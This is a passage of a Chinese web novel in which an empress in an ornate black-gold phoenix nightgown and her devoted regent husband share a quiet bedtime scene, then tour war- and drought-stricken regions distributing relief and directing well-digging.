她并未立刻入睡,而是慵懒地倚靠在巨大的龙凤合欢榻头,身后垫着数个苏绣软枕。手中并未拿着书卷,只是指尖无意识地轻轻拂过睡裙上那只巨凤的羽翼刺绣,感受着那冰凉丝滑的触感与繁复精致的凹凸纹路,眼神放空,带着一丝睡前的朦胧与安然。 林臻坐在榻边,他已换了一身素色的绸缎寝衣,墨发披散,正微微俯身,手中拿着一柄温润的白玉梳,动作极其轻柔地为她梳理着长发。 他的目光专注地流连于她如瀑的发丝与宁静的侧颜,眼神温柔得能溺死人。 “嫣儿今日可乏了?”他低声问,声音在寂静的殿内显得格外低沉悦耳。 慕容嫣微微摇头,长睫如蝶翼般轻颤,?喇叭袖下的手轻轻搭在锦被上:“不困。” 她的声音带着一丝软糯的鼻音,目光依旧落在睡裙的刺绣上, “这金线…晚上瞧着,好像更亮了些。” 她仿佛发现了什么新奇的事情,语气里带着一丝孩童般的雀跃。 林臻低笑,放下玉梳,指尖拂过她睡裙上那片她刚刚抚摸过的凤羽:“灯下看,自然是更显光泽。我的嫣儿眼真尖。”他的语气充满了纵容与宠溺,仿佛她关注的重点永远是如此可爱。 慕容嫣抿唇微微一笑,显然对他的夸奖很受用。她微微动了动身子,?沉重的睡裙与那堆叠的拖尾随之发出细微的摩挲声,她却浑然不觉有何不便,反而像是习惯了这份重量带来的安全感与归属感。 “夫君,”她忽然微微侧过头,?宽大的喇叭袖拂过他的手臂,“这睡裙…穿着睡,真的不会压皱刺绣吗?”她之前从未担心过这个问题,此刻却忽然想起,语气里带着一丝难得的、细微的担忧。她喜爱这件睡裙,不希望它有丝毫损伤。 林臻闻言,眼底笑意更深,伸手握住她喇叭袖下的手,纳入掌心轻轻捏了捏:“放心,这云锦用的是特殊工艺,金线也经过处理,韧性极佳,不易皱折。 即便稍有折痕,让绣坊熏烫一下便会恢复如初。” 他耐心解释,语气笃定,“更何况,我的嫣儿睡相好,不会乱滚。” 他忍不住打趣她。 慕容嫣脸颊微红,嗔怪地睨了他一眼:“谁说的…” 语气却并无反驳之意,反而带着一丝被夸赞的羞涩。 她确实睡姿安稳,这沉重的睡裙于她而言,并非束缚,反而像是一种温柔的禁锢,让她睡得更加安稳。 “好了,该睡了。”林臻俯身,在她光洁的额头上印下一个轻柔的吻,然后细心地为她整理了一下睡裙的领口,确保不会硌到她。 他并未立刻离开,而是伸手,极其小心地调整了一下那堆叠在榻沿的三丈拖尾,将其铺展得更平整些,以免她睡梦中无意压到其上镶嵌的宝石。 他的动作轻柔而专注,仿佛在对待一件稀世珍宝。 慕容嫣安静地看着他为自己整理拖尾,眼中流淌着依赖与满足。她喜欢他这般细致入微的照顾,喜欢他对自己这身华服的珍视。 整理完毕,林臻才吹熄了大部分灯火,只留远处一盏昏暗的守夜灯,然后自己也褪去外袍,在她身边躺下。 他并未立刻将她揽入怀中,而是先细心地检查了一下拖尾的位置,确认无误后,才侧过身,将她连人带那身沉重华贵的睡裙一起,温柔地拥入怀中。 慕容嫣在他怀里蹭了个舒适的位置,?宽大的喇叭袖搭在他的腰际,?沉重的睡裙与堆叠的拖尾带来了实实在在的包裹感,让她觉得无比安心。 她深吸一口气,鼻尖萦绕着他身上令人安心的清冽气息与睡裙上淡淡的冷梅香。 “重不重?”她小声问,指的是自己这一身行头压在他身上。 林臻低笑,手臂收得更紧:“不重。我的嫣儿,轻如羽毛。”他低头,吻了吻她的发顶,“睡吧。” 慕容嫣安心地阖上眼,长睫在眼下投下淡淡的阴影。?华贵的黑金睡裙在昏暗的光线下更显沉静奢华,?巨凤安然,?拖尾逶迤。 寂静中,只能听到彼此清浅的呼吸声。 过了一会儿,慕容嫣似乎忽然想到什么,又轻轻开口,声音带着浓浓的睡意:“夫君…” “嗯?”林臻应着,声音低沉而温柔。 “明日…还穿这件…”她含糊地嘟囔着,仿佛这是极其重要的事情。 “好,日日都穿。”林臻毫不犹豫地应允,指尖轻轻抚过她睡裙后背的刺绣,“睡吧,我的嫣儿。” 得到满意的答复,慕容嫣终于彻底放松下来,呼吸变得均匀绵长,沉入了黑甜的梦乡。?华贵沉重的墨金睡裙包裹着她,?三丈拖尾如同守护的羽翼堆叠榻畔,在这宁静的夜晚,与她一同安眠。 林臻凝视她沉睡的容颜许久,才在她唇角印下一个轻柔的吻,一同沉入安宁的梦乡。 殿外月色如水,殿内温暖如春。?墨金色的凤凰栖息于爱人的怀抱,?华服为衾,拖尾为枕,岁月静好,莫过如是 第877章 他们好像很高兴 西山叛乱的烽烟虽已散去,但其带来的创伤却并未立刻抚平。 京西部分地区遭受兵燹之祸,屋舍损毁,百姓流离,虽不及战阵中心的惨烈,却也足以令民生凋敝,人心惶惶。 摄政王林臻以雷霆手段肃清余孽、稳定朝局后,并未沉迷于权术清算,而是将目光投向了受灾的黎民。这一日,天光未亮,摄政王府与皇宫的中枢便已高效运转起来,大量的粮食、药材、布匹、银钱被迅速调集,由新军精锐押运,送往京西。 然而,林臻深知,物资的抚恤固然重要,但帝王亲临的姿态与威仪的展现,对于稳定民心、震慑宵小、重塑朝廷威信,有着无可替代的作用。 辰时正,阳光穿透晨雾,洒在巍峨的皇城正门——承天门上。 沉重的镶金钉朱漆宫门缓缓洞开,肃穆的仪仗缓缓而出,龙旌凤旗,金瓜钺斧,禁军侍卫盔明甲亮,神色肃然。然而,最引人注目的,并非是这皇家仪仗的煊赫,而是仪仗中心那辆由八匹毫无杂色的神骏白马牵引的、巨大无比的鎏金嵌宝凤辇。 凤辇四周垂落的并非纱幔,而是近乎透明的特种水晶琉璃片,既显尊荣,又不完全隔绝视线。辇中端坐的身影,在晨曦与琉璃的折射下,显得朦胧而神秘,却又散发着令人无法忽视的威压。 京西受灾的主要街巷早已净水泼街,但并非铺陈红毯,而是保持着灾后的肃穆。精锐的新军士兵沿街肃立,维持秩序,却也允许经过核实的百姓在警戒线外观瞻。消息早已传开,女帝陛下与摄政王殿下将亲临抚慰!无数百姓扶老携幼,翘首以盼,眼中充满了好奇、敬畏、以及一丝微弱的希望。 凤辇缓缓行驶在略显破败的街道上,最终在一片被大火焚毁过半的坊市入口处停下。此处残垣断壁,焦木林立,空气中还弥漫着淡淡的烟熏火燎之气,与皇家的奢华仪仗形成了触目惊心的对比。 辇门开启,林臻率先步下。他今日未着戎装,亦未穿亲王蟒袍,而是一身玄青色缂丝云纹常服,金玉带,蟠龙冠,身姿挺拔,面容沉静,目光扫过灾后景象,锐利中带着一丝沉痛。他并未多看周遭百姓,而是转身,向辇内伸出手。 下一刻,所有在场之人,无论是官员、士兵还是百姓,都不由自主地屏住了呼吸,眼中爆发出难以置信的震撼! 只见慕容嫣扶着林臻的手,缓缓步下凤辇。她身上所穿,并非繁复朝服,也非简便常服,而是那身已然成为她标志的、极致华丽厚重的黑金色百鸟朝凤睡裙!?? 在清晨明朗的阳光下,这身睡裙的华美与威仪被放大到了极致。?极致玄黑的底色,仿佛能吸纳所有的光线,呈现出一种比最深沉的夜更沉静、比最润泽的墨玉更温软的质感,却又自内里折射出幽蓝与暗紫的帝王威仪,神秘而高贵,与周遭的焦土残垣形成了剧烈到近乎荒谬的视觉冲击! ?睡裙之上,那只以无数珍稀金银彩线绣就的擎天巨凤傲然展翅,每一片羽毛都闪烁着鲜活夺目的生命光彩,赤金灼灼如旭日,玫金娇艳如霞光,银白皎洁如月华,紫金贵气如祥云,凤眸上的宝石折射出锐利如实质的璀璨光芒,华美繁复到令人窒息! ?宽大无比的喇叭袖袖口层叠如盛放的墨色曼陀罗,边缘以细密黑珍珠与极小颗的黑钻交替镶嵌,垂落时几近地面。 而那长达三丈、与睡裙连为一体、毫无接缝的巨型黑金镶宝拖尾,更是成为了此刻最令人心神摇曳的存在! 它并未由任何宫女或女官托举,而是以其自身的绝对重量与华美,?如同一条拥有生命的、流动的黑金色星河,自凤辇之上自然而沉重地垂落、铺展、迤逦而下!?? 这拖尾直接拖曳在满是尘土与零星瓦砾的焦黑地面上! 其上以金丝掐出的繁复缠枝莲与云雷纹底,以及密集镶嵌的无数大小不一、切割完美的黑钻、墨玉、深蓝宝、黑欧泊、乌金…在晨光的照耀下,疯狂地折射着冰冷、璀璨、令人无法直视的耀眼光芒! 华贵到了极致的拖尾与破败污秽的地面直接接触,其上的宝石与金线仿佛在灼烧着尘埃,所过之处,仿佛连苦难都被这极致的尊荣强行净化、镇压! 这种无需任何人扶持、迤逦于地的姿态,散发出一种碾压性的、无需言说的权力象征,无声地宣告着:皇权所在,恩泽所在,秩序所在! 她并未戴沉重凤冠,如云青丝以一支通透的墨玉长簪松松绾起部分,余下长发披散,与墨袍的玄黑融为一体。容颜绝世,在这身睡裙的极致华美与威仪包裹下,美得令人窒息,也尊贵得令人不敢直视。 她的神情平静,甚至带着一丝淡淡的悲悯,目光缓缓扫过周围的残垣与跪伏的百姓,并无丝毫畏惧或嫌弃,仿佛置身于最华美的宫殿之中。 “陛下万岁!万岁!万万岁!” “摄政王千岁!” 震耳欲聋的山呼声将人们从极致的视觉震撼中惊醒,百姓们慌忙不迭地跪伏下去,磕头如捣蒜,许多人甚至不敢抬头直视那过于耀眼的尊荣。 林臻紧紧握着慕容嫣的手,扶她站稳。他目光沉静地扫过跪伏的民众,声音平稳却带着安抚人心的力量:“平身。” 百姓们战战兢兢地起身,却依旧垂着头,不敢直视。 慕容嫣的目光落在不远处几个衣衫褴褛、面带菜色的孩童身上,她微微侧首,对身旁的总管轻声说了句什么。 总管立刻躬身,随即示意身后的宫人。几名宫女端着准备好的、装满精致糕点和银锞子的锦盒,走向那些孩童和其家人。 孩子们看到精美的食物和银钱,眼中露出渴望,却不敢上前。他们的父母更是惶恐地拉着孩子后退。 慕容嫣见状,轻轻拉了拉林臻的衣袖。林臻会意,对总管微微颔首。总管上前,和颜悦色地对百姓们说道:“陛下恩典,赐予孩童,聊以充饥,望汝等感念天恩,重建家园。” 听到这话,百姓们才敢颤巍巍地接过,激动得热泪盈眶,再次跪地叩谢:“谢陛下隆恩!谢摄政王恩典!” 慕容嫣看着孩子们拿到糕点后露出的笑容,?华服衬映下的绝美面容上,似乎也浮现出一丝极淡的、几乎难以察觉的柔和。她喇叭袖下的手轻轻抬了抬。 林臻立刻察觉,对随行的工部官员道:“陛下有旨,即刻勘察损毁情况,协助百姓清理废墟,重建屋舍所需银钱物料,由府库支应,不得延误。” “臣遵旨!”工部官员连忙躬身领命。 接着,林臻又询问了当地里正关于伤亡情况和目前的困境,一一做出指示,要求太医署派遣医官巡诊,开放京中常平仓平价粜粮…他的指令清晰高效,切中要害。 在整个过程中,慕容嫣始终静静立于林臻身侧,?华服迤地,威仪天成。 她并未多言,但她的存在本身,就是一种强大的象征。那身极致奢华、沉重无比的睡裙,那迤逦于焦土之上的三丈拖尾,无声地向所有百姓传递着一个信息:皇权至高无上,且关注着他们的苦难,并将给予庇护。 她的平静与美丽,与周遭的破败形成对比,反而奇异地给予人们一种希望——连陛下都身着如此华服亲临此地,一切定然会好起来。 她偶尔会微微抬手,?宽大的喇叭袖随之轻动,指向某处特别残破的屋舍,或某个看起来格外无助的老人。林臻便会立刻领会,吩咐手下优先处理。这种默契,无需言语,却更显帝后一体,恩威并施。 巡视了约莫半个时辰,所到之处,百姓无不感恩戴德,原本惶恐不安的情绪渐渐被希望与感激所取代。 阳光逐渐炽热起来。林臻侧头,低声对慕容嫣道:“嫣儿,可累了?回去吧?” 慕容嫣微微摇头,目光依旧平静地扫过周遭,?喇叭袖下的手却轻轻捏了捏他的掌心。 林臻了然,知她还想再看看。他便扶着她,又向前走了一段。那长达三丈的拖尾沉重地拖曳过焦黑的地面,其上华光流转,与苦难交织,构成一幅令人永生难忘的画面。 最终,来到一处临时搭设的粥棚前。看到锅中翻滚的清粥和排队领取的百姓,慕容嫣停下了脚步。她静静看了一会儿,忽然从喇叭袖的暗袋中,取出了那个她几乎从不离身的、沉甸甸的锦囊,从里面取出几枚特制的、印有她侧像的金币,递给了林臻。 林臻微微一怔,随即眼中泛起笑意与温柔。他接过金币,亲自走到粥棚前,将金币放入负责施粥的官员手中,沉声道:“陛下赐金,添米加肉,务必让百姓吃饱。” 那官员激动得手都在抖,跪地接过:“臣…臣遵旨!谢陛下隆恩!” 排队领取粥食的百姓见状,更是感动得无以复加,纷纷跪地叩谢,许多老人甚至泣不成声。 慕容嫣看着这一幕,?华服衬映下的容颜依旧平静,但那双清澈的眼眸中,似乎比平日多了一丝难以言喻的光彩。 林臻回到她身边,握住她的手,低声道:“嫣儿心善。” 慕容嫣微微垂下眼帘,?喇叭袖下的手指蜷缩了一下,并未回答。 阳光照耀下,?黑金色的凤凰睡裙熠熠生辉,?三丈拖尾如星河铺地,仿佛将皇家的恩泽与威严,实实在在地“铺”到了每一位百姓的眼前与心中。 又停留片刻,林臻才柔声道:“真的该回去了。” 慕容嫣这次没有再坚持,轻轻点了点头。 林臻扶着她,转身走向凤辇。那沉重的拖尾再次拖曳过地面,留下一道华丽而庄重的痕迹。 登上凤辇前,慕容嫣最后回望了一眼这片开始恢复生机的土地,目光沉静。 帘幕垂下,凤辇起驾,在百姓们发自内心的、更加热烈的感恩声中,缓缓驶离。 辇内,慕容嫣靠坐在软垫上,微微松了口气。林臻坐在她身边,自然地握住她的手:“可是累了?”他知道这身衣裳极其沉重。 慕容嫣摇摇头,靠向他肩膀:“不累。”她顿了顿,小声说,“他们…好像很高兴。” “嗯,嫣儿亲自来,他们自然高兴。”林臻揽住她,低声道。 慕容嫣沉默了一会儿,忽然轻声说:“那…下次,还来吗?” 林臻低头,看着她清澈的眼眸,心中软成一片:“来。嫣儿想何时来,便何时来。” 慕容嫣嘴角微微弯起一个极浅的弧度,安心地靠在他怀里,闭上了眼睛。?华贵的睡裙铺满软垫,?沉重的拖尾堆叠辇中,她似乎真的有些倦了。 林臻凝视着她恬静的睡颜,目光掠过她迤地拖尾上可能沾染的细微尘埃,眼中闪过一丝心疼,却更多的是骄傲。他的嫣儿,以这种方式,给予了她的子民最直观、最震撼的安抚与希望。 ?华服巡城,墨羽垂恩。 凤仪所至,万民归心。? 第878章 赤地千里 北地大旱,经年不雨。赤地千里,河床龟裂,禾苗焦枯,民生维艰。虽朝廷赈济不断,然灾情深重,民心浮动,谣言暗起。 摄政王林臻决意携女帝慕容嫣亲临灾情最重的涿州府,以示朝廷不忘北地黎民,皇恩浩荡。 圣驾出巡,仪仗煊赫,但比之皇家威仪,更引人注目的,是那自京畿一路北上的、绵延不绝的运粮车队与满载深井工匠、医官药材的队伍。 林臻此行,不仅为示恩,更为切实解决问题。 抵达涿州那日,天空依旧灰蒙蒙的,不见一丝云彩,干燥的热风卷起地上的黄土,扑面而来。城外特意平整出的迎驾场地上,跪满了面黄肌瘦、衣衫褴褛的百姓与地方官员。 他们眼中交织着敬畏、期盼,以及一丝被苦难磨砺出的麻木。 沉重的镶金嵌宝御辇缓缓停稳。林臻率先步下。他今日未着朝服,而是一身玄青色劲装,外罩一件暗绣蟠龙的墨色斗篷,风尘仆仆,却难掩其挺拔身姿与眉宇间的沉肃威仪。 他目光扫过跪伏的民众与龟裂的土地,眉头微蹙。 然而,当他的目光转回御辇时,瞬间化为无尽的温柔与一丝不易察觉的骄傲。他伸出手,柔声道:“嫣儿,到了。” 下一刻,所有在场之人,无论是饥渴的百姓、疲惫的官员,还是肃立的军士,都不由自主地屏住了呼吸,瞳孔骤缩,被眼前出现的景象震撼得无以复加! 只见慕容嫣扶着林臻的手,缓缓步下御辇。她身上所穿,并非便于行动的骑装或简服,赫然竟是那身极致华丽、厚重无比、与周遭赤地千里格格不入的黑金色百鸟朝凤睡裙!?? 在北方昏黄的天光与漫天尘土背景下,这身睡裙的华美与威仪被放大到了一种近乎诡异和神圣的程度!?极致玄黑的底色,仿佛吞噬了所有的燥热与荒芜,呈现出一种比最深沉的夜更沉静、比最绝望的旱魃更神秘的质感,却又自内里折射出幽蓝与暗紫的帝王微光,尊贵不可方物!? 睡裙之上,那只以无数珍稀金银彩线绣就的擎天巨凤傲然展翅,每一片羽毛都在黯淡的光线下疯狂地闪烁着生命的光彩,赤金如熔岩流淌,玫金如晚霞泣血,银白如月华破云,紫金如祥瑞天降,凤眸上的宝石锐利如电,仿佛能洞穿这旱魃之灾的根源! 华美,繁复,威严,与这片枯槁的土地形成了剧烈到令人心脏骤停的视觉冲击! ?宽大无比的喇叭袖袖口层叠如垂天之云,边缘缀着的细密黑珍珠与极小颗的黑钻在风中微微晃动,折射出冰冷而璀璨的光芒。而那长达三丈、与睡裙连为一体、毫无接缝的巨型黑金镶宝拖尾,更是成为了此刻天地间最令人瞠目结舌的存在! 它并未由任何宫女或女官托举,而是以其自身的绝对重量与华美,?如同一条拥有生命的、流动的黑金色天河,自御辇之上自然而沉重地垂落、铺展、迤逦而下!?? 这拖尾直接拖曳在干裂、粗糙、满是尘土的焦黄土地上! 其上以金丝掐出的繁复缠枝莲与云雷纹底,以及密集镶嵌的无数大小不一、切割完美的黑钻、墨玉、深蓝宝、黑欧泊、乌金…在昏黄的天光下,依旧固执地、疯狂地折射着冰冷、璀璨、令人无法直视的耀眼光芒! 华贵到了极致的拖尾与贫瘠污秽的土地直接接触,其上的宝石与金线仿佛在灼烧着尘埃,碾压着苦难,所过之处,仿佛连干涸都被这极致的尊荣强行镇压,赋予了某种诡异的“生机”! 这种无需任何人扶持、迤逦于焦土的姿态,散发出一种碾压性的、无需言说的权力象征,无声地宣告着:皇权所在,恩泽所在,天命所在! 她并未戴沉重凤冠,如云青丝以一支通透的墨玉长簪松松绾起部分,余下长发披散,与墨袍的玄黑融为一体,更衬得容颜绝世,肤光胜雪。 她的神情平静如水,甚至带着一丝悲悯的淡漠,目光缓缓扫过跪伏的、面有菜色的百姓与龟裂的土地,并无丝毫畏惧或嫌弃,仿佛置身于最华美的宫殿之中,而非赤地千里的灾区。 这份极致的平静与奢华,在灾荒背景下,形成了一种近乎神性的威压。 “陛下万岁!万岁!万万岁!” “摄政王千岁!” 震耳欲聋却带着沙哑疲惫的山呼声将人们从极致的视觉震撼中惊醒,百姓们慌忙不迭地深深跪伏下去,额头抵着滚烫的土地,许多人甚至不敢抬头直视那过于耀眼的、仿佛来自另一个世界的尊荣。 林臻紧紧握着慕容嫣的手,扶她站稳。他目光沉静地扫过跪伏的民众与干裂的土地,声音平稳却带着一种能安定人心的力量:“平身。” 百姓们战战兢兢地起身,却依旧垂着头,不敢直视。 涿州知府颤巍巍上前,禀报灾情,声音干涩:“…陛下,王爷,境内三月无雨,井河皆枯,秋粮绝收,百姓多以草根树皮为食…” 林臻静静听着,面色沉凝。慕容嫣目光平静地落在知府干裂的嘴唇上,?喇叭袖下的手轻轻动了一下。 林臻立刻察觉,对随行的户部官员道:“开仓。设粥棚,立规矩,凡赈济之物,若有克扣分毫,立斩不赦。” “臣遵旨!” 命令一下,身后庞大的车队立刻行动起来,训练有素的军士与官员开始就地搭建粥棚,搬运粮袋,架起大锅。清冽的泉水(从远处水脉尚存之地运来)倒入锅中的声音,对于干渴的百姓而言,犹如仙乐! 慕容嫣的目光又投向几个被父母抱在怀里、奄奄一息的孩童。她微微侧首,对身旁的总管轻轻颔首。总管立刻示意,太医署的医官们提着药箱,快步走向人群。 林臻则对工部官员道:“勘察地图,标记尚有水脉之地,集中人力,深挖井渠。格物院带来的深钻机械,即刻组装试用。” “是!王爷!” 高效的指令一条条发出,整个迎驾场地瞬间变成了一个高效的救灾指挥部。混乱的灾民在军队的维持下,开始有序地排队等待施粥和诊治。 在整个过程中,慕容嫣始终静静立于林臻身侧,?华服迤地,威仪天成。她并未多言,但她的存在本身,就是一种强大的象征。那身极致奢华、沉重无比的睡裙,那迤逦于焦土之上的三丈拖尾,无声地向所有灾民传递着一个震撼的信息: 皇权至高无上,且正以最直观的方式降临于此,关注着他们的苦难,并将带来生机。 她的平静与美丽,与周遭的绝望形成对比,反而奇异地给予人们一种近乎迷信的希望——连陛下都身着如此神迹般的华服亲临此地,老天爷定然会下雨! 热风吹拂,卷起尘土,扑向那华贵的拖尾。然而,那特殊的衣料似乎真的避尘,尘土竟难以附着,稍一抖动便滑落,依旧光华璀璨。 慕容嫣宽大的喇叭袖微微抬起,遮挡了一下扑面而来的风沙,袖口的黑珍珠流苏轻轻碰撞,发出细微的清音。 林臻注意到她的动作,侧身一步,为她挡住了主要的风向,低声道:“风沙大,嫣儿可要回辇车休息?” 慕容嫣摇摇头,目光望向远处正在挖掘的井渠方向,?喇叭袖下的手指轻轻指向那边。 林臻了然:“想去看看?” 她微微颔首。 林臻便扶着她,一步步向挖掘现场走去。那长达三丈的拖尾沉重地拖曳过干裂的土地,其上华光流转,与焦土尘土形成触目惊心的对比,所过之处,跪伏的百姓皆深深低头,不敢仰视。 来到井渠边,看到工匠和军士们挥汗如雨,深钻机械发出沉闷的轰鸣。慕容嫣静静地看了一会儿,忽然从喇叭袖的暗袋中,取出了那个沉甸甸的锦囊,从里面取出几枚特制的金币,递给了林臻。 林臻接过,扬声道:“陛下有赏!此井出水,工匠每人赐金一枚!” 工匠们闻言,先是难以置信,随即爆发出激动的欢呼,干劲瞬间倍增!“谢陛下隆恩!万岁!万岁!” 慕容嫣看着他们激动的样子,?华服衬映下的容颜依旧平静,但那双清澈的眼眸中,似乎比平日多了一丝微不可察的波动。 巡视良久,林臻恐她劳累,终是劝道:“嫣儿,该回去了。” 慕容嫣这次没有再坚持,目光从一片焦枯的田野上收回,轻轻点了点头。 林臻扶着她,转身走向御辇。那沉重的拖尾再次拖曳过干裂的土地,留下一道华丽而庄重的痕迹。 登上御辇前,慕容嫣最后回望了一眼这片饱受苦难的土地,以及那些眼中重新燃起希望的百姓,目光沉静。 帘幕垂下,御辇起驾,在百姓们发自内心的、更加热烈的感恩声中,缓缓驶向临时行宫。 辇内,慕容嫣靠坐在软垫上,微微呼出一口气。林臻坐在她身边,自然地握住她的手,指尖拂过她睡裙袖口可能沾染的细微尘埃:“可是累了?这身衣裳太重了。” 慕容嫣摇摇头,靠向他肩膀:“不累。” 她顿了顿,小声说,“水…会有的吧?” “会的。”林臻揽住她,语气笃定,“我已下令,不惜一切代价,引水抗旱。我的嫣儿亲自来了,老天爷…也该给几分面子了。” 他语气带着一丝玩笑,却也有着不容置疑的决心。 慕容嫣嘴角微微弯起一个极浅的弧度,安心地靠在他怀里,闭上了眼睛。?华贵的睡裙铺满软垫,?沉重的拖尾堆叠辇中。 车窗外,北地的风依旧干燥,但希望的种子,已随着那墨金色的凤仪降临,深深种在了干裂的土地与绝望的人心之中。 第879章 开凿深井 北地涿州,赤地千里。龟裂的田畴如同老者枯朽的皮肤,延伸至视野尽头。枯死的禾苗蜷曲着,在灼热的旱风中发出细微的脆响。 河流早已断流,河床裸露,布满深壑般的裂痕,仿佛大地绝望的呐喊。空气干燥炙热,吸入口鼻都带着尘土的味道,天空是单调的灰黄色,不见一丝云彩,烈日无情地炙烤着这片失去生机的土地。 摄政王林臻与女帝慕容嫣的仪仗并未停留在相对完好的州府治所,而是直接深入灾情最严重的涿北县。黄土官道崎岖不平,尘土飞扬。皇家御辇虽极尽奢华,减震精良,但在如此路况下,依旧难免颠簸。 御辇之内,慕容嫣身着那身极致华丽、厚重无比的黑金色百鸟朝凤睡裙,安然端坐。?极致玄黑的底色在透过琉璃窗的昏黄光线下,依旧呈现出吞噬光线的沉静质感,内里折射的幽蓝暗紫微光更添几分神秘。 ?睡裙之上那只擎天巨凤的羽翼,随着车厢的轻微晃动,流转着内敛而坚韧的华彩,赤金、玫金、银白、紫金的丝线在黯淡环境下依旧执着地闪烁,凤眸宝石如蛰伏的星子。 ?宽大喇叭袖铺陈在身旁的软垫上,袖口黑珍珠流苏纹丝不动。那长达三丈、沉重无比的镶宝拖尾,并未拘束地收起,而是自然地、逶迤地铺满了辇车内大半的地面,如同一条在黑暗中流淌的星河,其上宝石在幽光下闪烁着微弱却不容忽视的光芒。 她神色平静,仿佛周遭的颠簸与窗外的荒芜都与她无关,这份超然物外的镇定,本身便是一种强大的气场。 林臻坐在她身侧,目光透过车窗,锐利地扫过沿途惨状,面色沉凝,指尖无意识地在膝上地图划过。 御辇最终在一片彻底绝收、裂痕深可容指的广阔田畴边停下。此处已聚集了涿北县令、工部水利官员、以及格物院派遣的技师团队,所有人皆满面风尘,神色凝重。 辇门开启,林臻率先步下,灼热的空气与尘土气息扑面而来。他眯了眯眼,适应了一下刺目的光线与荒凉景象,随即转身,向辇内伸出手。 当慕容嫣扶着林臻的手,缓步走下御辇时,所有等候的官员与随从,乃至远处被官兵拦在外围、翘首观望的零星灾民,瞬间陷入了死一般的寂静,随即是倒吸冷气的声音! 在这片被绝望的灰黄主宰的天地间,突然出现的极致墨金色华服,造成了难以想象的视觉冲击!? 睡裙的玄黑底色如同将最深的夜降临于焦土,?巨凤金线刺绣在烈日下爆发出惊人的璀璨,赤金灼目,玫金绚烂,银白皎洁,紫金贵气,凤眸宝石折射出锐利光芒,仿佛为这片死地带来了唯一的光源与色彩!? 宽大喇叭袖袖口的珍珠与黑钻在热风中微微晃动。而那长达三丈、缀满珍宝的拖尾,更是毫无保留地、沉重地直接拖曳在干裂、粗糙、满是尘土的焦黄地面上!?? 华贵到极致的拖尾与贫瘠污秽的土地形成惨烈对比,其上宝石疯狂折射着烈日的光芒,仿佛一条燃烧的墨金色河流,强行注入这片枯槁的世界! 她容颜绝世,神情平静,在这身睡裙的包裹下,尊贵、神秘、且带着一种近乎非人的镇静,仿佛不是降临灾区,而是巡视自家园林。 “陛下万岁!万万岁!”官员们慌忙跪地,声音因震惊而颤抖。 远处灾民也纷纷跪倒,目瞪口呆地望着那抹不可思议的华彩。 林臻沉声道:“平身。情况如何?” 他的声音将众人从震撼中拉回现实。 涿北县令战战兢兢上前,声音干涩:“回禀陛下,王爷…此地已近五月无雨,地下水脉极深,原有水井皆已干涸见底…百姓…百姓恐有易子而食之惨…” 慕容嫣的目光静静扫过龟裂的田地,?喇叭袖下的手微微抬起,指向远处一道巨大的地裂。 林臻立刻领会:“带路,去看最深的地裂。” 一行人深一脚浅一脚地行走在干裂的田地上。 慕容嫣睡裙那沉重拖尾毫无阻碍地拖曳于后,所过之处,在厚厚的尘土上划出一道清晰的、华贵的痕迹,宝石与金线刮擦着地面,发出极其细微的窸窣声。 尘土试图附着,却被那特殊衣料排斥,纷纷滑落,竟保持着惊人的洁净与光华。她步伐平稳,丝毫不显吃力,仿佛那三丈拖尾的重量于她而言不存在一般。 来到一道宽逾一尺、深不见底的巨大地裂前,灼热的地气从中蒸腾而上。工部官员汇报着勘探的艰难,格物院技师则展示着带来的新式深钻机械图纸,讨论着可能的含水层深度。 林臻凝神倾听,不时发问,目光锐利。慕容嫣静立一旁,?墨金色睡裙在灰黄背景下如同一尊沉默的神祇雕像,?拖尾铺展在裂痕边缘,华光流转。 她的目光偶尔掠过那些复杂的机械图纸,又落回深不见底的地裂,眼神平静无波。 忽然,她喇叭袖下的手轻轻动了一下,指尖指向图纸上某一处钻头结构。 一直分神关注她的林臻立刻察觉,顺着她的指向看去,眼中精光一闪:“此处…可否改为螺旋倒刺式?更利于破碎深层坚硬岩层。” 格物院技师一愣,仔细看去,随即恍然大悟,激动道:“王爷英明!此法或可大增钻探效率!臣等即刻修改图样!” 慕容嫣嘴角几不可察地微微弯了一下。 勘察良久,烈日当空。 林臻见慕容嫣额角渗出细密汗珠,虽知她睡裙用料特殊,有清凉之效,仍心疼道:“嫣儿,先去临时帷帐歇息片刻?” 慕容却摇摇头,目光投向远处隐约可见的一条废弃古河道遗迹,?喇叭袖轻轻一摆。 林臻立刻明白:“传令!调集人手,勘探那条古河道!若有水脉遗迹,优先沿古河道掘进,开凿深井!” “是!” 回到临时搭建的、相对阴凉的行军帷帐内。林臻屏退左右,只留核心官员与技师。帐内铺着地毯,略阻尘土。 慕容嫣自然坐下,那沉重拖尾随之铺满她身后帐内地面,华光将简陋的帷帐映照得如同神龛。 林臻将地图铺开,与众人商讨。最终定策:兵分三路。一路由格物院技师带领,使用新式钻机,在疑似水脉最深点强行钻探“龙首井”。 一路沿古河道遗迹,分段开挖深井与引水渠;第三路组织民夫,于地势低洼处挖掘大型蓄水塘,准备汇集可能找到的水源。 决策已定,官员领命而去。 帐内暂时只剩帝后二人。林臻走到慕容嫣身边,蹲下身,并不在意帝王威仪,仔细为她拂去拖尾最边缘沾染的些许浮土,动作轻柔珍重。 “委屈嫣儿的衣裳了。”他低声道。 慕容嫣摇摇头,?喇叭袖下的手轻轻覆上他的手背:“能出水便好。”她的声音清浅,却带着一种罕见的、对具体事务的关切。 林臻心中一动,抬头看她:“明日,我亲自去督工掘井。嫣儿可要同去?” 慕容嫣毫不犹豫地点头,眼神清澈而坚定。 林臻笑了,紧握她的手:“好。那今日嫣儿好好歇息。”他起身,召人送来清水与清凉的瓜果。北地缺水,这些皆是从远处运来,极为珍贵。 他亲自试了水温,将浸湿的丝巾拧得半干,细心为慕容嫣擦拭脸颊和脖颈。清水滋润下,她肌肤更显剔透,与墨金睡裙形成极致对比。 侍从奉上冰镇的瓜果,林臻亲手为她剥去果皮,切成小块,喂到她唇边。慕容嫣小口吃着,姿态优雅,?宽大喇叭袖微微遮面。 歇息片刻,林臻又携她出帐,巡视刚刚开始集结的民夫与物资。所到之处,百姓与兵士皆跪伏不敢仰视。那拖曳于地的墨金睡裙拖尾,如同帝王的旗帜,宣告着救赎的希望已然降临。 日落时分,热浪稍退。第一处沿古河道开挖的井坑已初见雏形。慕容嫣立于坑边,?睡裙拖尾边缘垂落坑沿,华光与尘土再次交织。 她看着民夫们挥汗如雨,眼中神情依旧平静,却比平日多了几分专注。 林臻站在她身侧,夕阳将两人的影子拉长,那迤逦的拖尾影子更是长得仿佛要触及地平线。 “明日,便会不同了。”林臻轻声道。 慕容嫣微微颔首,?喇叭袖下的手,轻轻勾住了他的手指。 